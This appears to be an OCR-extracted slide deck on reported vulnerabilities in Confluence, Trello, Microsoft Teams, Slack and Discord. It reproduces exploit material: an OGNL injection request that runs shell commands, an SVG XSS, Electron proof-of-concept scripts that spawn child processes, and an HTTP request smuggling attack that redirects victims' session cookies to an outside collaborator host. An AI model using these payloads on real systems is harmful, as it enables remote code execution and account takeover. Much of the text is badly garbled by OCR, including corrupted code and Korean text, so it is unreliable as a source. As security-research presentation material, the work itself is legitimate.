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Confluence

« OFSZHA[QIOf|A] ZhESH AtHt 7|8

JE 7| 2ZES0

= XConfluence Spaces- People

e Demo Project Home

@ Pages
Blog
Questions
Calendars

SPACE SHORTCUTS

Here you can add shortcut links to the
most important content for your team or
project. Configure sidebar.

PAGE TREE

Product requirements
User story: Dashboard
User story: Notifications
User story: Search
User story: View pages

Sprint planning

Retrospectives

Decision log

Files: Screenshots

£+ Space tools ~

Questions Calendars  Create e« a @- #- QO @'

Pages / Demo Project Home # Edit % Saveforlater © Watching = Share

/ Product requirements of

User story: Dashboard

Created by Atlassian OnDemand [Administrator] on Dec 19, 2016
Epic link @ so Dashboard TO DO
Status DRAFT
Developer Arjan
Designer Sami

Product Des C
manager

Primary user story

As a user, | want to be see a status of everything related to my work in Confluence, so that | can triage my work while on

Requirements

#  Title User Story JIRA Issues Importance

1 Activity As a user, | 1 SOF-34 - Activity feed | DONE + Orderpages  IIELNEE
feed want to see the chronologically
most recent with the most
activity related to recent updates
my work so that | first.
can efficient!
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Confluence

« Confluence Server Webwork OGNL injection (RCE)

- 20214 8
« CVE-2021-20084

Request

Pretty 'Raw \n  Actions v

OGNL(Object Graph Navigation Language)

7

<%@ contentlype =
<%@ import=
<%@ import=

<%
param = request:
ax =
value = Ognl

%>

<%=value%>

+ Class. (

1 POST /pages/createpage-entervariables.action?SpaceKey=x HITP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) ApplewWebkit/S37.36 (KHTML, like Gecko) Chrome/41.8.2225.0
Safari/537.36

4 Connection: close

S Content-Length: 902

6 Content-Type: application/x-www- form-urlencodsd

7 Accept-Encoding: gzip, deflate

8

9 querystring=
aaaaaaaa\u0027%2b{Class. forName (\uD027javax.script.ScriptEngineManageriu@827) .newlnstance () .getEngineByNa
me (\UBD27J)avasScript\u0027) . \uoossval (\UO0Z27var+isWin+s3d+]ava. Lang. System. getProperty (\UOD220s . name\UGO22
). toLowerCase () .contains (\uBB22win\ub022)%3b+var+cmd+%3d+newt ] ava. Lang. String (\uB0221 d\uBOZ2)|%3bvar+p+%3d
+newtjava.lang.ProcessBuilder ()%3b+1if (isWin) {p.command (\u0022cmd . exe\U0022, +\U0022/C\UO022, +cmd)%3b+}+els
e{p.command (\uBO22bash\u0022, +\uB022- c\U0022, +cmd)%3b+}p. redi rectErrorStream( true)sabtvar+processs3dip.st
art()%3btvar+tinputStreamReader+%3d+new+]ava.io0. InputStreamReader (process. getInputStream())s3btvartbuffere
dReader+%3d+newtjava.io.BufferedReader (inputStreamReader)%3b+var+line+%3d+\ub0224u0022%3b+var+output+s3d+
\u0022\u0022%3b+while ((line+%s3d+bufferedReader. readline () )+ %3d+null) {output+is3ctoutput+ss2bt Line+%2btjava
.lang.Character.toString (10)%3b+}\u0027) }%2b\u0027

%>
@ics [« > | search.. 0 matches
Done

(param, cx ),

Response

Pretty Raw Render \n Actions v

1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145

i1146

1147
1148
1148
1150

1151
1152

1153
1154
1155
1156
1157
1158
1158
1160

1161
1162
1163
1164
1165
1165

YOLI3dSNI

orm id="createpageform' name='createpageform' method="post" action="docreatepage.action® class='editor a

<input type="hidden" name="atl_token" value="96a292590e047c8579164f 343c209f a3035bas26" =

<input
type="hidden"
name="fQueryString® value="aaaaaaaa[u1d=1001(confluence) gid=1001(confluence) groups=1001(conf
1" />
<input
type="hidden"
name="fromPageld" value="0" />

<input
type="hidden"
name=" spaceKey" value="x" />

<input type="hidden" id="createPageLabelsString" name="labelsString" value=""/>

<input
type="hidden®
name="titlewritten" value="false" id="titleWritten" /=

<input

type="hidden®
name="1inkCreation" value="false" />

<input type=thidden' id=*originalReferrer" name='originalReferrert value=t"s

@53 €= | quenystring 2matches

184,755 bytes | 1,478 millis
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Trello

OFS2RA|2H0I| A 71t TH &l 7

TZ=ME dg| AT EQ| 0]

©)  Company Overview

Teams
|Hto
L=

Product

Marketing

Support

People

R Y [IF T

[D Trello Templates BC

Up Next

Increase sales revenue by .

Ship 10S app

Increase conversion rate by 20%
Q3

& Public

Current Projects

Analytics Data

]
Develop Engineering Blog

Brand Guidelines

) Calendar how Menu

Completed Projects

Social Media Campaign

—
Update Help Documentation

fim
Website Redesign
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Trello

» Trello Desktop app DoS using HTML Injection

2020 11&

Trelo Do | Trello
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Trello

* Trello Stored XSS
- 20214 3&

10

L)

ot

[ 1

EH

XH

=

N

(W I - VN |

()]

8

<?xml version="1.8" standalone="no"?>
<IDOCTYPE svg PUBLIC "-//wW3C//DTD SVG 1.1//EN" “http://www.w3.org/Graphics/SVG/1.1/DTD/svgll.dtd">

<5V

o
=]

version="1.1" baseProfile="full" xmlns="http://www.w3.o0rg/2000/svg">
<polygon id="triangle" points="0,0 8,50 50,0" fill="#869908" stroke="#004400"/>

<script type="text/javascript">
alert(document.domain);

script>

ps://trello.com,

Description

Add a more detailed description...

Attachments

XSSinSVG.svg ~
eb 27 at 9:

Added

Add an attachment

Activity

Members

Labels

Checklist

2 Attachment

Cover

Add Power-Ups

Add Card Button

Move

O Copy

Q Template

Watch

I

0 ®

@ =
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Microsoft Teams |
<— indexhtml —>

* Microsoft Teams RCE <IDOCTYPE htmi>
o <html>
« 20204 11& <head>
o CVE-2020-17091 <saipt se="https//staticsteamsmicrosoftcony/sdkA/1 O/js/Miaosoftleamsminjs > </saipt>
o <saipt>
* Electronjs (function) {
Use stnct;
miaosoftleans. )
// get a new context and trigger the auth workfiow
miaosoftleans: (function(context)
migosoftleamsauthentication. (
urt step2html,
widith:
height
: function() §,
: function() §
s
i
)
</saipt>
</head>
<body>
Miaosoft Teams POC
</body>
</html>
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Microsoft Teams

 Microsoft Teams RCE
. 20204 11&

« CVE-2020-17091

* Electronjs

< step2html —
<IDOCTYPE himi>
<html>
<head>
<saipt>
// without context isdlation the Fundtion prototype s shared with with nodes intemals
// this means we can overload and a hook a fundion @l that gets the node "jprocesss objlect
profotypecal= new Proy( prototypecal, {
apply: fundion(targe, thisrg argumentsLis) {
var et = Rl arge thisAvg agumentslisy
iflergumentsLisfOlpid // this is proloeboly a process ref
agumentsListiUimainiViodulereauire(chid process)execSynd(open /Applications/Calaulatorapp)

ﬂ m-austin.com

TeamsPOC & -

e S
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Microsoft Teams J—— -
* Microsoft Teams O-click RCE _ ~ =

(=1} Meeting in "General” ended: 36 sec

» 2020 12 e e

ﬂ Burp Suite Professional 0.8.1 - Temporary Project - licensed to Evolution Latvia [5 user license]
Calendar = P - . ——————
. Qe Meeting in "General” ended: 15 sec Proxy | Intruder | Repeater,| Sequencer | Decoder | Comparer | Extender | Project options | User options
« Angular/S e e e
n U ar < R 8 9 12 x 13 14 x 15 16 17 18 19 « 20 2 22
3 35 37 38 39 42 44 47 48 51 =
a Oskars Vegeris Thursday 17:59
Files el

Oskars Vegeris Friday 12:38 Edited
° x marks the spot

< Reply

Oskars Vegeris 17:22
e | 2

< Reply

Oskars Vegeris 190
e | ¢

Oskars Vegeris 19:0 b
e e ; / >\ n< . content

, "propert

A &

v

0 matches | \n | | Pretty |

1Z
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210

_l_
« D ® W

15

Acme Inc ~
Matt Breswer

All unreads

Threads

Mentions & reactions
Drafts

Show more

* Channels +
# announcements

@ design-crit

# media-and-pr 1

it social-media f

= Direct messages
slackbot
Matt Brewer (you)

Lee Haao, Sara Parras

Cl, Search Acme Inc

Details
fsncial

#so-clal medla

ey Acme Team »rF
Event starting in 15 minutes:
| Team Status Mee

Today from 1.00 PM to 1:30 P

Harry Boone 1

Quick note: t @Liza will join our team sync to About
provide updates on the launch. if you have questions,
er, in 2 minutes & Topic

Track and ©

bring ‘em. See you all later...

Lee Hao 1256 Phi
Meeting notes from our sync with @Liza

D 1/9 Meetlng Motes

Marketing is in this channel

Zenith

Members

Organizations

wirdinate social media

al media team

Octobeer 18th, 201%
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Slack

» Account takeovers using HTTP Request Smuggling
- 2020 33

16

HTTP Request Smuggling CLTE Attack on https://slackb.com

1) Front end processes using CL

GET / HTTP/1.1
Transfer-Encoding : chunked
Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83

—>

GET https://nig5igeusvtx8ssxua2oc5I7byhtsi.burpeollaborator.net HTTP/1.1
X: X

0

3) Backend Victim Request Received

GET /HTTP/1.1

Transfer-Encoding : chunked

Host: slackb.com

User-Agent: Smuggler/v1.0

Content-Length: 83

GET https://nig5igeusvtx8ssxua2oc5I7byhtsi.burpcollaborator.net HTTP/1.1
X: XGET /some/requested/endpoint HTTP/1.1

Host: slackb.com

User-Agent: Mozilla/5.0...

Cookie: d=x5gINMex%2BG7R%2BpykcwFd..........

0

oh no

2) Backend processes using TE (socket poisoned)

GET / HTTP/1.1
Transfer-Encoding : chunked
Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET https://ni95igeusvix8ssxua2oc517byhtsi.burpcollaborator.net HTTR/1.1

N Poison

XX

4) Poison is merged with victim request,
processed and sent back
to the victim

GET https://nig9sigeusvtx8ssxua2ocs17byhtsi.burpcollaborator.net HTTP/1.1

Host: slackb.com
User-Agent: Mozilla/5.0...
Cookie: d=x5gINMex%2BG7R%2BpykcwFd..........

This line turned into a
custom header and is
ignored

RAUN
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Slack

» Account takeovers using HTTP Request Smuggling

- 2020H 3E

17

So whats the deal with this request anyway? It looks weird...

GET https://ni95iqeusvtx8ssxua2oc5I7byht5i.burpcollaborator.net HTTP/1.1

Host: slackb.com
User-Agent: Mozilla/5.0...
Cookie: d=x5gINMex%2BG7R%2BpykcwFd..........

Well it turns out that when the backend gets a 'GET <URL> HTTP/1.1'
it responds with this:

HTTP/1.1 301 Moved Permanently

Date: Wed, 13 Nov 2019 23:29:44 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 95

Connection: keep-alive

Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *

Location: https://ni95igeusvtx8ssxua2oc517byht5i.burpcollaborator.net/

<a href="https://ni95igeusvtx8ssxua2oc5I7byht5i.burpcollaborator.net/">Moved Permanently</a>.

and all cookies (including 'd") get redirected there too.... (

RAUN
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Slack

» Slack Desktop app RCE
- 2020 8

(Macintosh;

ept=-Language:
Accept=Encoding:
Connection: close
Cooki - 11p. .
Upgrade-Insecure-Requests:

Intel Mac

1l;g=0.%,image/webp,*/*;q=0.8

Target: https:/ /files.slack.com

JRaw Headers | Hex | JSOMN Beautifier
HTTP/1.1 200 OK
Content-Ty

slack-docs; charset
Content-Lengtl

nection: close

ontrol: private, no-cache, no-store, must-revalidate
HMon, Jul 1997 05:00:00 GHMT
supra=prod-iad-96f7dfc49-=zc65t
pe=0Options: nosniff
noindex

17:49:58 GMT
cudfront
jdeficlebdf4cd9533ed.cloudfront.net

f=Pop: LHRG&EZ2=C5
X f=Td:
HNE&1LIrL1EEF£T! AMNvEBAIRJalJWkYleg aed4ppetmzNEBTUkW

{"full”:"<p>content:- =", "preview": "<

RAUN




22A 17 221

» Slack Desktop app RCE
- 2020 8

Raw | Params THeadsrs TET Hackvertor ]

[Raw | Headers [ Hex [JSON Beautifier |

Target: https:/ /evolutiongaming.slack.com / 0

POST

fapiffiles.info?_x_id=b%alafd0-1580060976.680&slack route=T02AVL3IAF&_ x_version_ts
27&_x_gantry=true HTTF/1.1

Host: evolutiongaming.slack.com

User-Agent: Mo af5.0 (Macintosh; Intel Mac 05 X 10.14; rv:74.0) Gecko/20100101
Firefox/74.0

Accepk: */*

Accept-Language: en-US,en;qg=0.5

Accept-E ing: gzip, deflate

Content- :om tipart/form-data;

boundary 324385848619476696894009771090
Content-Length: 1122

Origin: https://app.slack.com

Connection: close

Cookie: ..snip..

-=324385848619476696894009771090
form-data; name="file"

324385B48619476696804009771090
form-data; name="page"

==324385848619476696894009771090
form-data; name="count”

J24385B48619476696894009771090
form-data; name="truncate"

324385B48619476696804009771090
Content-Disposition: form-data; name="token"

xoxc-token
324385B48619476696894009771090
Content-Disposition: form-data; name="_x_reason

fo
- - =324385848619476696894009771090
Content-Disposition: form-data; name="_x_mode”

e
- - 32438584B619476696894009771090
form-data; name="_x sonic"

3J24385848619476696894009771090~-~

https;//filesslack.com/files-pn/{TEAM_ID}HFILE_ID}/TITLE

15799032

'6ETR253",
"created’ 1580060954,
timestamp”: 1580060961,
‘name”: "title"

cation/wvnd.slack-docs",
"filetype":
"pretty_type": “Arugula”,
user": "UITGFQOMR
"editable":
‘size": 14,

"username" :

.
"url private": "https://files.slack.com/files-pri/T0ZAVL3IAF-FT6E7A253/title",

"url_ private_download": "https://files.slack.com/files-pri/T0ZAVL3AF-FT6E7A2S53/download/title”,
"permalink”: "https://evolutiongaming.slack.com/files/T02AVL3AF/FT6ETA253",

"permalink_public": "https://slack-files.com/T02AVL3AF-FT6ETA2S53-e752e5bel9",

"preview": "<p>content</p>",
‘editor"”: "U3TGFQQMR",
"last_editor": "U3ITGFQOMR",
"non_owner_editable": false,
"updated”: 1580060961,
"comments_count”: 0,
"is_starred”: false,

hares": {

"private": {

"DIU9ILD4AN": |

;_users”: [],
users_count”: 0,

N

groups [1r

"ims": |

"D3USLLD4N"

1.

"has_rich_preview": false
be
"content_html": "<p>content</p>",
‘comments": [],
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» Slack Desktop app RCE
- 2020 8

Oskars V
slack.json 7

slack.json

{

"full": "asd",

"preview": "<img src=\"https://files.slack.com/files-tmb/TO2AVL3IAF-FSUEG4LZD-881f692a25
fscreenshot_2020-81-26_at_21.12_20_360.png%" height=""1800e"" height=""10080"" usemap=\"#slack-img""><map
name=%"slack-img\"><area shape=\"rect“" coords=""10000,10000 @,0"" href=\"https://files.slack.com/files-

pri/TOZAVLIAF-FST7W3INPS/1ink " target=%"_self\"></map>"
Discard Save Changes

}
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» Slack Desktop app RCE
- 20204 8

OskarsV 10:33 PM

slack.json =
1 {
Z "full®: "asd”,
3 "preview": "<img src=\"https://files.slack.com/files-tmb/TOZAVL3AF-FSUE®4UZD-881f692a25/5creenshot_2020-01-

usemap=""#slack-imgh"><map name=\"slack-img\"><area shape=\"rect\" coords=\"100@,1000 @,0\" href=\"https://0s

0

Jot something down

B I & «»

o
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SI aCk C (i) view-source:https://files.slack.com/files-pri/TO2AVL3AF-FST7W3NP5/link

« Slack Desktop app RCE <html>
. 20201 8 <scrip

<script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () =>
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')

nbw = new bw.constructor({show: false, webPreferences: {nodelntegration: true}})
nbw.loadURL({ 'about:blank')

nbw.webContents.executeJavaScript( 'this.require("child process").exec("open /Applications/Calculator.app")')
</secript>

< /body>
</html>

RAUN
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Slack

Evolution Gami... ~ Q Oskars V ( ) Y h .................................... :
® OskarsV b active Y(z\t]egeris @ & | Q Search @ % ¢
» Slack Desktop app RCE . | Vesterday
N7 Zq Jump to.. e 1 ! gst(arsv 10:33 PM
3 ast v

o
. 2020"5 8_5 - = All unreads @ slack.json

+ @ Threads Last edited 1 hour ago
it Apps

Channels )

+ Invite people

Recent Apps

Jot something down

8 B I & & = i= = O A @ ®©
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Discord
» Discord Desktop app RCE
C 2020'?;:1 'I()_c'?é-I DISCORD - O x S

2 JLF
& = oL attacker

B Nitro CCOH, Bl Eaattacker DM DA T Y .
+ W00FTATH

AL A — +

attacker :
Q G attacker https//10.cm/discord_rce_og.hin
RCE DEMO
>
e I t F

MEI33

eviﬂim zna

«EESEEEEE 0 - - B =202, 0
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